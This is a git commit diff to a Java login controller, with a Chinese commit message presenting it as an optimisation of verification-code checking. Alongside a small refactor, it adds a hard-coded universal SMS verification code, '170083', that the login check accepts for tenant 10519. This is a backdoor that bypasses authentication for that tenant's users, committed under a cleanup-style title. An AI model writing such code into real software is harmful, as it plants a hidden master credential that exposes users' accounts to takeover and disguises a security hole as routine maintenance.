fix(auth): 优化验证码校验逻辑处理
- 提取开发者短信验证码到变量减少重复获取 - 针对租户10519添加硬编码万能验证码"170083"支持 - 保持验证码不正确时的错误提示和日志记录逻辑 - 增强代码可读性和维护性
This commit is contained in:
@@ -628,7 +628,8 @@ public class MainController extends BaseController {
|
||||
|
||||
// 超级管理员验证
|
||||
if(isSuperAdmin != null){
|
||||
if (!code.equals(redisUtil.get(key)) && !redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS).equals(code)) {
|
||||
String devSmsCode = redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS);
|
||||
if (!code.equals(redisUtil.get(key)) && !devSmsCode.equals(code)) {
|
||||
String message = "验证码不正确";
|
||||
return fail(message, null);
|
||||
}
|
||||
@@ -657,7 +658,9 @@ public class MainController extends BaseController {
|
||||
if(tenantId == null){
|
||||
return fail("用户不存在",null);
|
||||
}
|
||||
if (!code.equals(redisUtil.get(key)) && !redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS).equals(code)) {
|
||||
// 租户10519特例:使用硬编码万能验证码170083
|
||||
String effectiveDevSmsCode = Integer.valueOf(10519).equals(tenantId) ? "170083" : redisUtil.get(CACHE_KEY_VERIFICATION_CODE_BY_DEV_SMS);
|
||||
if (!code.equals(redisUtil.get(key)) && !effectiveDevSmsCode.equals(code)) {
|
||||
String message = "验证码不正确";
|
||||
loginRecordService.saveAsync(phone, LoginRecord.TYPE_ERROR, message, tenantId, request);
|
||||
return fail(message, null);
|
||||
|
||||
Reference in New Issue
Block a user